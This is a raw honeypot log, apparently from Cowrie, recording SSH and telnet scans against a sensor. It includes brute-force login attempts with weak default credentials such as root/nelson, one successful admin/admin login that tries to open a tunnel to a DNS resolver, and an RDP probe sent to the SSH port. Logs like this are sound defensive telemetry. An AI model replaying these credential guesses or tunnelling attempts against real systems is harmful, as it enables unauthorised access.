{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:16:00.436636Z","src_ip":"43.153.31.20","session":"5dc9e5c7713c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"bbx","password":"bbx","message":"login attempt [bbx/bbx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:16:00.741393Z","src_ip":"43.153.31.20","session":"5dc9e5c7713c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.0016918182373,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:16:01.187426Z","src_ip":"152.42.224.71","session":"dfa11e36ba72","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:16:01.812649Z","src_ip":"43.153.31.20","session":"5dc9e5c7713c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":42834,"dst_ip":"10.17.0.5","dst_port":23,"session":"3c1a62d821cd","protocol":"telnet","message":"New connection: 152.42.224.71:42834 (10.17.0.5:23) [session: 3c1a62d821cd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:16:04.557472Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.211.215","src_port":53464,"dst_ip":"10.17.0.5","dst_port":22,"session":"4ee2a1eff4ae","protocol":"ssh","message":"New connection: 147.45.211.215:53464 (10.17.0.5:22) [session: 4ee2a1eff4ae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:16:04.672425Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:16:04.677049Z","src_ip":"147.45.211.215","session":"4ee2a1eff4ae","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:16:04.853767Z","src_ip":"147.45.211.215","session":"4ee2a1eff4ae","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"avatar","message":"login attempt [root/avatar] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:16:05.395153Z","src_ip":"147.45.211.215","session":"4ee2a1eff4ae","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:16:06.574291Z","src_ip":"147.45.211.215","session":"4ee2a1eff4ae","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":56518,"dst_ip":"10.17.0.5","dst_port":23,"session":"58a8ff2263de","protocol":"telnet","message":"New connection: 152.42.224.71:56518 (10.17.0.5:23) [session: 58a8ff2263de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:16:08.198287Z"}
{"eventid":"cowrie.session.closed","duration":29.586593866348267,"message":"Connection lost after 29 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:16:08.777194Z","src_ip":"152.42.224.71","session":"d0182ff6eb63","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":45.149765729904175,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:16:09.886452Z","src_ip":"152.42.224.71","session":"d0ee6ee2bed9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":56526,"dst_ip":"10.17.0.5","dst_port":23,"session":"3c518bf262ce","protocol":"telnet","message":"New connection: 152.42.224.71:56526 (10.17.0.5:23) [session: 3c518bf262ce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:16:10.362130Z"}
{"eventid":"cowrie.session.closed","duration":120.00249886512756,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:16:11.259247Z","src_ip":"84.54.72.167","session":"d236da9b5937","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":33000,"dst_ip":"10.17.0.5","dst_port":22,"session":"39d664cf5440","protocol":"ssh","message":"New connection: 87.251.64.176:33000 (10.17.0.5:22) [session: 39d664cf5440]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:16:12.426935Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:16:12.437068Z","src_ip":"87.251.64.176","session":"39d664cf5440","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:16:12.534567Z","src_ip":"87.251.64.176","session":"39d664cf5440","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.0015766620636,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:16:12.543794Z","src_ip":"84.54.72.167","session":"93ca38bd693e","protocol":"telnet"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:16:12.824470Z","src_ip":"87.251.64.176","session":"39d664cf5440","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:16:12.924123Z","session":"39d664cf5440","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:16:13.022645Z","src_ip":"87.251.64.176","session":"39d664cf5440","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:16:13.253665Z","src_ip":"87.251.64.176","session":"39d664cf5440","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":44.57886052131653,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:16:15.038805Z","src_ip":"152.42.224.71","session":"1820d717260e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.212.128","src_port":58917,"dst_ip":"159.203.135.109","dst_port":22,"session":"b88337b94ac2","protocol":"ssh","message":"New connection: 152.42.212.128:58917 (159.203.135.109:22) [session: b88337b94ac2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:16:15.183405Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:16:15.190502Z","src_ip":"152.42.212.128","session":"b88337b94ac2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:16:15.199250Z","src_ip":"152.42.212.128","session":"b88337b94ac2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":56532,"dst_ip":"10.17.0.5","dst_port":23,"session":"e2d1174cd41c","protocol":"telnet","message":"New connection: 152.42.224.71:56532 (10.17.0.5:23) [session: e2d1174cd41c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:16:15.447667Z"}
{"eventid":"cowrie.session.closed","duration":45.63123393058777,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:16:16.077116Z","src_ip":"152.42.224.71","session":"d6313f345fd6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":58782,"dst_ip":"10.17.0.5","dst_port":23,"session":"f8a9deb79921","protocol":"telnet","message":"New connection: 152.42.224.71:58782 (10.17.0.5:23) [session: f8a9deb79921]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:16:17.196912Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.78.230.231","src_port":35648,"dst_ip":"10.17.0.5","dst_port":22,"session":"fba473a177a1","protocol":"ssh","message":"New connection: 45.78.230.231:35648 (10.17.0.5:22) [session: fba473a177a1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:16:21.671060Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:16:21.675859Z","src_ip":"45.78.230.231","session":"fba473a177a1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:16:21.906867Z","src_ip":"45.78.230.231","session":"fba473a177a1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.0","message":"Connection lost after 6.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:16:27.677447Z","src_ip":"45.78.230.231","session":"fba473a177a1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.65.8.74","src_port":52406,"dst_ip":"10.17.0.5","dst_port":22,"session":"07386cba9d6c","protocol":"ssh","message":"New connection: 159.65.8.74:52406 (10.17.0.5:22) [session: 07386cba9d6c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:16:28.297442Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:16:28.302790Z","src_ip":"159.65.8.74","session":"07386cba9d6c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:16:28.548866Z","src_ip":"159.65.8.74","session":"07386cba9d6c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"nelson","message":"login attempt [root/nelson] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:16:29.569985Z","src_ip":"159.65.8.74","session":"07386cba9d6c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":112.97230195999146,"message":"Connection lost after 112 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:16:29.752935Z","src_ip":"152.42.224.71","session":"1ec5aa22dc77","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:16:30.823567Z","src_ip":"159.65.8.74","session":"07386cba9d6c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":44954,"dst_ip":"10.17.0.5","dst_port":23,"session":"5d330cd5a919","protocol":"telnet","message":"New connection: 152.42.224.71:44954 (10.17.0.5:23) [session: 5d330cd5a919]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:16:31.079476Z"}
{"eventid":"cowrie.session.closed","duration":47.05622935295105,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:16:32.623645Z","src_ip":"152.42.224.71","session":"dfbd355f2146","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":44970,"dst_ip":"10.17.0.5","dst_port":23,"session":"b5b9ae51f471","protocol":"telnet","message":"New connection: 152.42.224.71:44970 (10.17.0.5:23) [session: b5b9ae51f471]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:16:34.554143Z"}
{"eventid":"cowrie.session.connect","src_ip":"181.47.9.103","src_port":41172,"dst_ip":"10.17.0.5","dst_port":22,"session":"01ec06eba1ca","protocol":"ssh","message":"New connection: 181.47.9.103:41172 (10.17.0.5:22) [session: 01ec06eba1ca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:16:36.340225Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:16:36.344571Z","src_ip":"181.47.9.103","session":"01ec06eba1ca","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:16:36.487306Z","src_ip":"181.47.9.103","session":"01ec06eba1ca","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"vvv123","message":"login attempt [root/vvv123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:16:37.087304Z","src_ip":"181.47.9.103","session":"01ec06eba1ca","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:16:38.232352Z","src_ip":"181.47.9.103","session":"01ec06eba1ca","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":50.545586824417114,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:16:38.680509Z","src_ip":"152.42.224.71","session":"652641013640","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":53336,"dst_ip":"10.17.0.5","dst_port":23,"session":"e3fb03c28c63","protocol":"telnet","message":"New connection: 152.42.224.71:53336 (10.17.0.5:23) [session: e3fb03c28c63]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:16:38.895226Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":53346,"dst_ip":"10.17.0.5","dst_port":23,"session":"2e2333dd10e4","protocol":"telnet","message":"New connection: 152.42.224.71:53346 (10.17.0.5:23) [session: 2e2333dd10e4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:16:45.318858Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":53360,"dst_ip":"10.17.0.5","dst_port":23,"session":"bc367d2d35df","protocol":"telnet","message":"New connection: 152.42.224.71:53360 (10.17.0.5:23) [session: bc367d2d35df]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:16:45.482993Z"}
